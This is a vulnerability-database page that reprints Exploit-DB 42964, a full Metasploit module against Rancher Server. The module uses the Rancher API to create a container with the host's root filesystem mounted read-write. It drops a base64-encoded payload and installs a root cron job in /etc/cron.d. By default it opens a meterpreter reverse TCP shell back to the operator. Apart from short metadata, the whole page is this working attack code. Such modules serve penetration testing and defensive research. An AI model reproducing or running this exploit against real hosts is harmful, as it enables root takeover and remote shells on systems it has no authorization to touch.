漏洞概要

缺陷编号:
N/A

漏洞标题:
Rancher Server – Docker Daemon Code Execution (Metasploit)

提交时间:
2017-10-09

危害等级:

相关厂商:

漏洞分类:
exp公布

关注度:
共 13 人关注

漏洞详情

EDB-ID: 42964 Author: Metasploit Published: 2017-10-09
CVE: N/A Type: Remote Platform: Lin_x86-64
Aliases:
N/A
Advisory/Source: Link Tags:
Metasploit Framework

E-DB Verified:
Verified

Exploit:

Download Exploit Code Download

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Vulnerable App:
N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'             => 'Rancher Server - Docker Exploit',
      'Description'      => %q(
        Utilizing Rancher Server, an attacker can create a docker container
        with the '/' path mounted with read/write permissions on the host
        server that is running the docker container. As the docker container
        executes command as uid 0 it is honored by the host operating system
        allowing the attacker to edit/create files owed by root. This exploit
        abuses this to creates a cron job in the '/etc/cron.d/' path of the
        host server.

        The Docker image should exist on the target system or be a valid image
        from hub.docker.com.

        Use `check` with verbose mode to get a list of exploitable Rancher
        Hosts managed by the target system.
      ),
      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
      'License'          => MSF_LICENSE,
      'References'       => [
        'URL'            => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
      ],
      'Platform'         => 'linux',
      'Arch'             => [ARCH_X64],
      'Payload'          => { 'Space' => 65000 },
      'Targets'          => [[ 'Linux', {} ]],
      'DefaultOptions'   => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
      'DefaultTarget'    => 0,
      'DisclosureDate'   => 'Jul 27, 2017'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
        OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
        OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
        OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
      ]
    )
    register_advanced_options(
      [
        OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
      ]
    )
  end

  def del_container(rancher_container_id, container_id)
    res = send_request_cgi(
      'method'  => 'DELETE',
      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    return vprint_good('The docker container has been removed.') if res && res.code == 200

    print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path, container_id)
    vprint_status('Setting container json request variables')
    {
      'instanceTriggeredStop'           => 'stop',
      'startOnCreate'                   => true,
      'networkMode'                     => 'managed',
      'requestedHostId'                 => datastore['TARGETHOST'],
      'type'                            => 'container',
      'dataVolumes'                     => [ '/:' + mnt_path ],
      'imageUuid'                       => 'docker:' + datastore['DOCKERIMAGE'],
      'name'                            => container_id,
      'command'                         => make_cmd(mnt_path, cron_path, payload_path),
      'entryPoint'                      => %w[sh -c]
    }
  end

  def check
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown
    end

    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
      print_error('Authorization is required. Provide valid Rancher API Keys.')
      return Exploit::CheckCode::Detected
    end

    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
      target_found = false
      target_selected = false

      environments = JSON.parse(res.body)['data']
      environments.each do |e|
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path, e['id'], 'hosts'),
          'ctype'   => 'application/json',
          'headers' => { 'Accept' => 'application/json' }
        )

        hosts = JSON.parse(res.body)['data']
        hosts.each do |h|
          target_found = true
          result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
          result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"

          # flag results when this host is targeted via options
          if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
            target_selected = true
            vprint_good(result + ' %red<-- targeted%clr')
          else
            vprint_good(result)
          end
        end
      end

      if target_found
        return Exploit::CheckCode::Vulnerable if target_selected

        print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
        if datastore['VERBOSE'] == false
          print_bad('Try verbose mode to know what happened.')
        end
        vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
        return Exploit::CheckCode::Appears
      else
        print_bad('No TARGETHOST available')
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, 'Failed to connect to the target')
    end

    # create required information to create json container information
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id

    # deploy docker container
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
      'ctype'   => 'application/json',
      'headers' => { 'Accept' => 'application/json' },
      'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201

    print_good('The docker container is created, waiting for it to deploy')

    # cleanup
    register_files_for_cleanup(cron_path, payload_path)

    rancher_container_id = JSON.parse(res.body)['id']
    deleted_container = false

    sleep_time = 5
    wait_time = datastore['WAIT_TIMEOUT']
    vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")

    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time

      res = send_request_cgi(
        'method'  => 'GET',
        'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
        'ctype'   => 'application/json',
        'headers' => { 'Accept' => 'application/json' }
      )
      next unless res && res.code == 200 && res.body.include?('stopped')

      vprint_good('The docker container has stopped, now trying to remove it')
      del_container(rancher_container_id, container_id)
      deleted_container = true
      wait_time = 0
    end

    # if container does not deploy, try to remove it and fail out
    unless deleted_container
      del_container(rancher_container_id, container_id)
      fail_with(Failure::Unknown, "The docker container failed to start")
    end

    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end

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